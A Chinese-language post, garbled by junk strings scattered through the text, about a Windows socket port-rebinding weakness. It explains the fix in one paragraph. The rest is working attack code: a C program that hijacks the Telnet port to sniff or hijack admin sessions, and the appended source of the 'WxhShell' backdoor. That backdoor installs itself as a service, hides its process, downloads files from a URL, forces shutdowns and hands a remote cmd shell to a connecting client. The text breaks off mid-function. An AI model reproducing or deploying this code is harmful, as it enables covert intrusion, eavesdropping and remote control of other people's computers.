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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: D vkxI<Xa s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); !mfJpJ b%(6EiUA saddr.sin_family = AF_INET; MFit|C ),^eA saddr.sin_addr.s_addr = htonl(INADDR_ANY); w2gf&Lc\ @)YY\l# bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 7LZ^QC 2-If]Fc 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 HaNboYW_K M++0zhS 这意味着什么?意味着可以进行如下的攻击: ,%"xH4d zi]%Zp 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 5CYo7mJ6+ ,lN5,zI=S 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) !4#"!Md4o pR os{Uq" 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 %"3 )TN4 G&{HTYP 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 \y
Hen|% P8yIegPY 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Q'NmSX)0 |(IO=V4P 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 &vUq}r%P w:=V@-S8 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 RNJFSD. ,32xcj}j)r #include OmMX$YID #include #XIc
"L)c #include g$37;d3Tx #include [uuj?Rbd DWORD WINAPI ClientThread(LPVOID lpParam); mNmUUj9z int main() =jAFgwP\ { F#r#}.B='U WORD wVersionRequested; >wON\N0V_ DWORD ret; 3fS}:!sQ WSADATA wsaData; 93%{scrm BOOL val; _]>JB0IY SOCKADDR_IN saddr; %HuyK SOCKADDR_IN scaddr; 5mB]N%rfW% int err; )najO*n SOCKET s; TR vZ SOCKET sc; 9M$/=>^
Z int caddsize; J\co1kO9/ HANDLE mt; >>'C
:7+Y DWORD tid; O12Q8Oj!0 wVersionRequested = MAKEWORD( 2, 2 ); 59 2;W-y err = WSAStartup( wVersionRequested, &wsaData ); F4I6P if ( err != 0 ) { 6vs3O
printf("error!WSAStartup failed!\n"); }p3b#fAr return -1; -$k>F# } $ @1u+w saddr.sin_family = AF_INET; J1F{v)T'? Iin#Wd-/ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 =
1|"- j~av\SCU* saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); |"7Pv
skT saddr.sin_port = htons(23); *o?i:LE] if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ? Nj)6_& { b)}+>Wx printf("error!socket failed!\n"); ~1 ZD[@ return -1; &w\I<J`T } ?l6jG val = TRUE; ^X?D#\ //SO_REUSEADDR选项就是可以实现端口重绑定的 L]-w;ll- if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) TipHV;|e { ZwJciT!_~ printf("error!setsockopt failed!\n"); xy^1US,L1 return -1; y:so
L:(F } h}Ygb-uZ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; aj7dH5SZl //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 vA>W9OI
//其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 L,M+sN {*xBm# if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) avNLV { qo;)X0N ret=GetLastError(); SGf9U^ds printf("error!bind failed!\n"); &YX6"S_B return -1; Rt4di^v } $h[Yz l listen(s,2); z,Xk\@ while(1) -u6#-}S { UKs$W` caddsize = sizeof(scaddr); /$`;r2LG //接受连接请求
azGnP3_ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); xs1bxJ_R if(sc!=INVALID_SOCKET) ntH T { K`(#K#n mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); |5ONFde"0 if(mt==NULL) {nRUH*(d9 { iZ Ta>@ printf("Thread Creat Failed!\n"); oyvtZ/@ break; 1uM/2sX } Czu1 )y } wZ>Y<0, CloseHandle(mt);
`ue?Z%p| } yQ-hnlzn~ closesocket(s); SCq3Ds^ WSACleanup(); w2Kq(^? return 0; iS-K
~qa } }su6izx DWORD WINAPI ClientThread(LPVOID lpParam) iS0 5YW { t-EV h~D1p SOCKET ss = (SOCKET)lpParam; C'<'7g4 SOCKET sc; .0
X$rX= unsigned char buf[4096]; ha>SZnKD{ SOCKADDR_IN saddr; 8p,>y(o long num; =1Sy@M bH3 DWORD val; g RU-g DWORD ret; ;MZbL) //如果是隐藏端口应用的话,可以在此处加一些判断 DpNX66O //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 .EzSSU7n) saddr.sin_family = AF_INET; ^ 0eO\wc?O saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); c}cG<F saddr.sin_port = htons(23); J/[7d?hI/ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ASq`)Rz { 1>;6x^_h0S printf("error!socket failed!\n"); !qS05 return -1; !Sfe{/$w }
P2QRvn6v val = 100; s
kY0 \V if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *vD/(&pQ1: { i&pMF O ret = GetLastError(); >vxWx[fRu return -1; 2;}xN! 8 } C=s((q* if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) n4R]+&* { 2_I+mQ ret = GetLastError(); ~QO<
B2hS} return -1; I*9Gb$]= } wRj~Qv~E if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) x' ?.~ { /O_0=MLp printf("error!socket connect failed!\n"); 9?!u2 o closesocket(sc); Uv'uqt closesocket(ss); vj(@.uU) return -1; H!#5!m& } L*IU0Jy> while(1) eoC<a"bJ> { eA10xpM0 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ko>M&/^ //如果是嗅探内容的话,可以再此处进行内容分析和记录 (\tq<h0 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 R rxRa[{Z num = recv(ss,buf,4096,0); ^Jn|*?+l if(num>0) % hNn%Oy:E send(sc,buf,num,0); ud.poh~| else if(num==0) #'#4hJ*YC break; Y0rf9 num = recv(sc,buf,4096,0); ;+r0
O0;9 if(num>0) 0:HC;J send(ss,buf,num,0); -5o?#% else if(num==0) 1RURZoL break; rT o%=0P } :S#eg1y.w] closesocket(ss); Q-:Ah:/ closesocket(sc); B>R*
f C@g return 0 ; uAC hu] } 7Zhli Y1 z/pDOP Ku l
DgzM3 ========================================================== w"yK\OE W5TqC 下边附上一个代码,,WXhSHELL _Wq7U1v` fQ^h{n ========================================================== u|(aS^H=q LPsh?Ca?N #include "stdafx.h" _Eet2;9 gME:\ud$ #include <stdio.h> $6qR/#74 #include <string.h> 3?-V>-[G_ #include <windows.h> )AZ`R8-A #include <winsock2.h> &@Ji+ #include <winsvc.h> #)IdJ] #include <urlmon.h> /jn:e"0~ Br?++\ #pragma comment (lib, "Ws2_32.lib") &k {t0> #pragma comment (lib, "urlmon.lib") 0hEF$d6U >-o?S O(M, #define MAX_USER 100 // 最大客户端连接数 >QbI)if`1 #define BUF_SOCK 200 // sock buffer qX}dbuDE"P #define KEY_BUFF 255 // 输入 buffer lUm}nsp=X >xk:pL*o` #define REBOOT 0 // 重启 av$\@4I #define SHUTDOWN 1 // 关机 y2d_b/ Av\0GqF #define DEF_PORT 5000 // 监听端口 aG8;,H=%, @idp8J [td #define REG_LEN 16 // 注册表键长度 l% 3Q=c #define SVC_LEN 80 // NT服务名长度 I=Lj_UF4 8wNU2yH+D // 从dll定义API ^U|CNB%. typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ui: >eYv typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); c"_H%x<[ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `XRb:d^ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ^~hhdwu3a 1Rb<(% // wxhshell配置信息 M`f;- struct WSCFG { }G0.Lq+a int ws_port; // 监听端口 &Cn9
k3E\R char ws_passstr[REG_LEN]; // 口令 b&_u
O int ws_autoins; // 安装标记, 1=yes 0=no fuwp p char ws_regname[REG_LEN]; // 注册表键名 Y_TL4 char ws_svcname[REG_LEN]; // 服务名 /R+]}Lt~%* char ws_svcdisp[SVC_LEN]; // 服务显示名 H;"N|pBy char ws_svcdesc[SVC_LEN]; // 服务描述信息 znDtM1sLeV char ws_passmsg[SVC_LEN]; // 密码输入提示信息 e#Zf>hlAz int ws_downexe; // 下载执行标记, 1=yes 0=no 5d>YE char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" 9h{:!
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Z~.]ZWj- DqC}f# }; kA9 X!)2w wh[:wE]eX // default Wxhshell configuration Z[A|SyZp struct WSCFG wscfg={DEF_PORT, 77[;J "xuhuanlingzhe", q?'gwH37 1, ;),O*Z|"v "Wxhshell", P(gID "Wxhshell", ,,-[P*@ "WxhShell Service", =xQfgj "Wrsky Windows CmdShell Service", (YWc%f4 "Please Input Your Password: ", 8=_| qy}l/ 1, 9G\3hL] " http://www.wrsky.com/wxhshell.exe", m">
=QP "Wxhshell.exe" i(qYyO' }; JV*,!5 as47eZ0\ // 消息定义模块 i1H80m s char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ="nrq&2 char *msg_ws_prompt="\n\r? for help\n\r#>"; #;KG6I E char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; Xcpm?aTo char *msg_ws_ext="\n\rExit."; sV4tu(~ char *msg_ws_end="\n\rQuit."; vrEaNT$J- char *msg_ws_boot="\n\rReboot..."; 'f<_SKd char *msg_ws_poff="\n\rShutdown..."; jQBdS. }'v char *msg_ws_down="\n\rSave to "; 4I[FE;^ >^)5N<t? char *msg_ws_err="\n\rErr!"; jtOsb91c} char *msg_ws_ok="\n\rOK!"; 9Q5P7}%p L5P}%1 _ char ExeFile[MAX_PATH]; zNTu j p int nUser = 0; 1&L){ hg HANDLE handles[MAX_USER]; v\tbf int OsIsNt; T1]X uM6!RR!~ SERVICE_STATUS serviceStatus; ~oR&0et SERVICE_STATUS_HANDLE hServiceStatusHandle; &1C9K> $%"}N_M // 函数声明 93eqFCF. int Install(void); Q]'!FmXf int Uninstall(void); P+|8MT0 int DownloadFile(char *sURL, SOCKET wsh); )'CEWc% int Boot(int flag); ; SM^ void HideProc(void); (dt_ D int GetOsVer(void); 1EPOYvf%U int Wxhshell(SOCKET wsl); `ha:Gf void TalkWithClient(void *cs); 9{#|sABGD int CmdShell(SOCKET sock); ._nKM5. int StartFromService(void); >^ar$T;Ys int StartWxhshell(LPSTR lpCmdLine); Oydmq,sVe( PGhZ`nl VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); E.bbIV6mQ VOID WINAPI NTServiceHandler( DWORD fdwControl ); <vuX "
8 H?^#zj`Ex+ // 数据结构和表定义 :P1c>:j[ SERVICE_TABLE_ENTRY DispatchTable[] = )t=u(:u] { Ax*~[$$~% {wscfg.ws_svcname, NTServiceMain}, z$5C(! ) {NULL, NULL} cY]Y8T) };
4N0nU bD-Em#> // 自我安装 f)P/@rh int Install(void) [k}\{i> { xJGeIh5 char svExeFile[MAX_PATH]; X1dG'PQ HKEY key; gD=5M\ strcpy(svExeFile,ExeFile); zL}hFmh ][1u:V/
U // 如果是win9x系统,修改注册表设为自启动 cN>i3}fq if(!OsIsNt) { W-QPO if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5/ju
it RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "-:\-sMt{ RegCloseKey(key); _If?&KJ r if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { = lD]sk RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); EQ$9IaY. RegCloseKey(key); a $%[!vF return 0; PtOnj)Q } gXJ^o;R>M } nHrCSfK } p2(_YN;s else { -=IM8Dny /vMyf),2 // 如果是NT以上系统,安装为系统服务 )c !S@Hs SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); - S-1<xR if (schSCManager!=0) 8m<<tv. { #Q7$I.O] SC_HANDLE schService = CreateService ii9/ UtIQ ( oy: MM schSCManager, -`EoTXT*U wscfg.ws_svcname, V/e_:xECC wscfg.ws_svcdisp, dR:iUw:V SERVICE_ALL_ACCESS, @~3c;9LkY SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , CF_!{X_k} SERVICE_AUTO_START, o hlVc%a SERVICE_ERROR_NORMAL, f tDV3If svExeFile, $t}1|q| NULL, ):
C4}&l NULL, jRAL(r| NULL, .?RjH6W NULL, &J:)*EjVl5 NULL W<o0Z OO ); eS:e#>( if (schService!=0) DA~ELje^j { |vzWSm CloseServiceHandle(schService); nUHVPuQ/'T CloseServiceHandle(schSCManager); GGtrH~zx strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4&fnu/,Z strcat(svExeFile,wscfg.ws_svcname); [hbp#I~*[ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2zu~#qU[)M RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); W^Y0>W~ RegCloseKey(key); !yrHVc return 0; or`stBx } _xt(II } g1, CloseServiceHandle(schSCManager); k1zt| } i{qU RP}. } qCN7i&k, P^W47
SO return 1; V.:A'!$# } ^#se4qQ mC(t;{ // 自我卸载 DjvgKy=Jr_ int Uninstall(void) 7!wnx. { a=VT|CX[ HKEY key; 'U$VOq?! );H[lKy if(!OsIsNt) { ZNeqsN{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o1+]6s+j} RegDeleteValue(key,wscfg.ws_regname); IQ~7vk() RegCloseKey(key); E,yK` mPp^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { UROi.976D RegDeleteValue(key,wscfg.ws_regname); rF3]AW( RegCloseKey(key); +Q0-jS#d return 0; ZY$@_D OB} } @A'1D@f# } I.1l } yt:V+qdv else { Fxx2vTV4ag iDc|9"|Tf3 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Hd`p_?3] if (schSCManager!=0) CT%m_lN { ld:alEo SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 6 <S&~q if (schService!=0) R9G)X] { qFbUM; if(DeleteService(schService)!=0) { W+C_=7_ CloseServiceHandle(schService); L b;vrh;A CloseServiceHandle(schSCManager); %ab)Gs return 0; w*}yw"gP*0 } v1g5( CloseServiceHandle(schService); yUwgRj } N4|q2Jvj6 CloseServiceHandle(schSCManager); JM lhBh } HTyF<K } ~(OIo7#; ptni'W3 return 1; \OT)KVwO } Ilu`b|%D cGzYW~K // 从指定url下载文件 MYSc*G int DownloadFile(char *sURL, SOCKET wsh) (jMAa% { L^{;jgd&T9 HRESULT hr; 5=h'!|iY char seps[]= "/"; mCNf]Yz char *token; q }v04Yy,o char *file; [*{\R`M char myURL[MAX_PATH]; |$?Ux,(6 char myFILE[MAX_PATH]; 'Mx K}9 q&dRh strcpy(myURL,sURL); GKujDx+h token=strtok(myURL,seps); 6aZt4Lw2\ while(token!=NULL) AKCfoJ { &Yf#O* file=token; oT (:33$ token=strtok(NULL,seps);
QXxLe* } Ld3Bi2d| V*7Z,nA GetCurrentDirectory(MAX_PATH,myFILE); KD"&_PX strcat(myFILE, "\\"); avt>saR strcat(myFILE, file); $:BK{,\
send(wsh,myFILE,strlen(myFILE),0); j_'rhEdLP send(wsh,"...",3,0); tGO[A#9a hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~d7Wjn$@ if(hr==S_OK) +fP/|A8P return 0; =Q8H]F else KjwY'aYwr: return 1; g
y e(/N+I DR yESi } hi3sOK*r;< ,D@;i // 系统电源模块 Jm(&G int Boot(int flag) q
5v?`c {
&<w[4z\ HANDLE hToken; 2}Z4a\YX TOKEN_PRIVILEGES tkp; ,v}?{pc )}Rfa}MD if(OsIsNt) { Vy%
:\p+ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); aq0iNbv@ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); i2FD1*=/? tkp.PrivilegeCount = 1; EAD0<I<>
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5Q$r@&qp AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \>Ga-gv6/ if(flag==REBOOT) { (,Ja
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) j
FPU
zB" return 0; X<Th{kM2 } *TM;trfz else { 5i4V 5N>3 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1qLl^DW return 0; o=-Vt,2{ } +dCDM1{_a } aVppOxA else { |k`f/* if(flag==REBOOT) { Q&Z4r9+Z if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) bB:r]*_
s] return 0; Qst
\b8, } [YC=d1F5 else { _W)`cr if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;i<$7MR.e return 0; }JRP,YNh } Y,k(#=wg } 9$Ig~W) Z?m
-&% return 1; 5Z/yhF.{ } P!kw;x 9YR]+* // win9x进程隐藏模块 kf<c,3A void HideProc(void) exfmq { uxWFM
$ NF6X- ,cd HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )|v^9 if ( hKernel != NULL ) z0#-)AeS { z< z*Wz pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {jvOHu ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :6XguU FreeLibrary(hKernel); c\At0.QCA } $tI]rU _`H.h6h return; bF*NWm$Lf } vu=me?m?( ).LTts7c // 获取操作系统版本 n5|l|#c$N int GetOsVer(void) m9Ax\lf { *myG"@P4hW OSVERSIONINFO winfo; q# MM winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )l_@t(_ GetVersionEx(&winfo); F!JJ6d53y if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) "< v\M85& return 1; oK2pM18 else u_PuqRcs return 0; n-$VUo } ,|+Gls Zmf'{t T5 // 客户端句柄模块 h4/X
0@l` int Wxhshell(SOCKET wsl) P"1 S$oc { TI=h_%mO SOCKET wsh; [*)Z!) struct sockaddr_in client; .-0%6]
cFD DWORD myID; IS BV%^la| w1r$='*I while(nUser<MAX_USER) YzAFC11, { XF|WCZUnY% int nSize=sizeof(client); #]9hTa IR wsh=accept(wsl,(struct sockaddr *)&client,&nSize); !Vheq3"q/ if(wsh==INVALID_SOCKET) return 1; SHD^}?-| HG%Z"d handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ,`32!i if(handles[nUser]==0) ,Ol ( piR closesocket(wsh); `Gd$:qV else *f5l=lDOB nUser++; w%dL8k } jTb-;4N' WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >xu[q\:" auHFir8f return 0; R^*K6Ad } -Xz&}QA ~>5#5!}@* // 关闭 socket kS :\Oz\
void CloseIt(SOCKET wsh) |.P/:e9 { 7\XE,;4> closesocket(wsh); hXn3,3f3oZ nUser--; 9!U@"~yB ExitThread(0); \*0yaSQF } U7iuY~L la
<npX // 客户端请求句柄 W`z 0" void TalkWithClient(void *cs) 93O;+Z5J { s%pfkoOY% [zkikZy SOCKET wsh=(SOCKET)cs; N]N4^A' char pwd[SVC_LEN]; k(%QIJH char cmd[KEY_BUFF]; Thr*^0$C char chr[1]; CO?Xt+1hR int i,j; tMp=-" rw7_5l while (nUser < MAX_USER) { ILwn&[A0 Pw0Ci if(wscfg.ws_passstr) { Oco YV J if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |=a}iU8 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :_kAl? eJ //ZeroMemory(pwd,KEY_BUFF); "xRBE\B i=0; S8,Z;y while(i<SVC_LEN) { DI|:p!Nx &PWB,BXv // 设置超时 nqVZqX@oE fd_set FdRead; sj?3M@l95W struct timeval TimeOut; .lgPFr6X FD_ZERO(&FdRead); 9#d+RT FD_SET(wsh,&FdRead); RW$:9~ TimeOut.tv_sec=8; f:B>zp;N TimeOut.tv_usec=0; Gfp1mev int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -62'}%?A<C if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); sOCs13A" JwnQ0
e if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); RP5+d pwd =chr[0];
!R-z% if(chr[0]==0xd || chr[0]==0xa) { R9rj/Co pwd=0; ?ULo&P[ break; =qy=-j] } ?E%ELs_Dl i++; 6r:?;j~l } "1`Oh<={b *+'2?* // 如果是非法用户,关闭 socket !\8 ;d8 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); wkqX^i7ls } m!z|h9Ed cRd0S*QN2 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +
b$=[nfG send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); XdLCbY [[d(jV=* while(1) {
~=<}\a~ x_Jwd^`t! ZeroMemory(cmd,KEY_BUFF); B+C);WQ, iy.2A!f^. // 自动支持客户端 telnet标准 CC\*?BKj" j=0; :1XtvH while(j<KEY_BUFF) { l\M_-:I+4 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #_Z$2L"U cmd[j]=chr[0]; u]u[(K5F if(chr[0]==0xa || chr[0]==0xd) { ;zM*bWh9 cmd[j]=0; "H-" break; kr$b^"Ku }
PHA-9\jC{ j++; M?b6'd9f } LK6; ?m 7\*FEjRM] // 下载文件 SS`qJZ|w
if(strstr(cmd,"http://")) { %sHF-n5P send(wsh,msg_ws_down,strlen(msg_ws_down),0); X#3et' if(DownloadFile(cmd,wsh)) &E xYXI send(wsh,msg_ws_err,strlen(msg_ws_err),0); c wg
!j!l else n,$IfC" send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iyj+:t/ } bAKiq}xG%i else { &Ysosy* .9md~j:o^s switch(cmd[0]) { U=hlu 8
k3S // 帮助 =K{\p`? case '?': { }y9mNT send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); F(na{<g}; break; nqwAQhzy( } /axIIfx- // 安装 Qs9gTBS; case 'i': { 1hcjSO if(Install()) lA>DS#_ send(wsh,msg_ws_err,strlen(msg_ws_err),0); dCj,b$ else [D*UT#FM send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~z" =G5| break; 7 ^w >Rj } }Tf9S<xpq3 // 卸载 ^"J8r W6[ case 'r': { n_3O-X( if(Uninstall()) E;<l(.Ar send(wsh,msg_ws_err,strlen(msg_ws_err),0); i1S>yV^l else :n /@z4# send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YZ%Hu) break; Qg6W5Hc } P(t[
eXe // 显示 wxhshell 所在路径 tK&'<tZh case 'p': { H,N)4;F<c char svExeFile[MAX_PATH]; F<!)4>2@ strcpy(svExeFile,"\n\r"); meOMq1 strcat(svExeFile,ExeFile); eds26( send(wsh,svExeFile,strlen(svExeFile),0); rk)##) break; +[5.WC7J }
ss5m/i7 // 重启 Yv:55+ e!| case 'b': { v%fu send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;A#`]-i C if(Boot(REBOOT)) =zyC-;r! send(wsh,msg_ws_err,strlen(msg_ws_err),0); d6W SL;$ else { 1UKg=A-q closesocket(wsh); {'U
Rz[g ExitThread(0); hUYd0qEbEt } ~i `>adJ: break; _1U1(^) } D$T%\
P // 关机 e^O(e case 'd': { b!)<-|IK send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4q<=K= F if(Boot(SHUTDOWN)) wQRZ"ri, send(wsh,msg_ws_err,strlen(msg_ws_err),0); `3:.??7N else { up'Tit closesocket(wsh); 8jyG"%WO ExitThread(0); F+@5C:<? } d9q(xZ5 break; _U/!4A } X,LD // 获取shell Ntbg`LGf'! case 's': { w+N> h;j CmdShell(wsh); hXA6D) closesocket(wsh); S%Us5`sd ExitThread(0); mQY_`&Jq break; f"St&q>[s } 435;Vns\n // 退出 hiUD]5Kp case 'x': { 0X^Ke(/89 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); z(H^..<!5 CloseIt(wsh); :hM/f break; (7 r<'' } eQ&ZX3*} // 离开 v;0|U:`] case 'q': { Jej` ;I send(wsh,msg_ws_end,strlen(msg_ws_end),0); ldp%{"ZZ closesocket(wsh); ak;*W WSACleanup(); w08?DD]CDt exit(1); HvVts\f break; ,13Lq- } gmm|A9+tv } PP!SK2u"L } $ mI0Bk D#o}cC. // 提示信息 'z[Sp~I\ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o";Z$tAJkC } oIefw:FE,a } M{*Lp6h cra+T+|>Kc return; (x3.poSt } X#e1KZ w.0qp)} // shell模块句柄 1u6^z int CmdShell(SOCKET sock) kbMYMx.[ { +9")KQT STARTUPINFO si; s%W<dDINl ZeroMemory(&si,sizeof(si)); ETXZ?\<a5 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1[yq0^\]M[ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; TqddOp PROCESS_INFORMATION ProcessInfo; +*hm-lv? char cmdline[]="cmd"; T16{_ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <NuUW9+ return 0; lHhUC16> } r}jGUe}d tz&y*e& // 自身启动模式 oD$J0{K6 int StartFromService(void) <Ce2r"U1e { 2!$gyu6bpG typedef struct 7Ddaf> { 0JJS2oY/ DWORD ExitStatus; m2v'WY5u DWORD PebBaseAddress; T"0,r$3: DWORD AffinityMask; KFFSv{m[ DWORD BasePriority; Y14W?|KOB ULONG UniqueProcessId; WuZ/C_ ULONG InheritedFromUniqueProcessId; pf_mf. } PROCESS_BASIC_INFORMATION; Z>^pCc\lH MKWyP+6` PROCNTQSIP NtQueryInformationProcess; 'GL*u#h _z1(y}u} static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]TyisaT static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Rh>}rGvCUN hjQ~uqbg HANDLE hProcess; -%I2[)F< PROCESS_BASIC_INFORMATION pbi; ,-OCc!7K rQaxr! HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @, W vvh if(NULL == hInst ) return 0; Y)}Rb6qGW ;Yg{zhJX~ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *<u2:=_s g_pGetModuleBaseName = 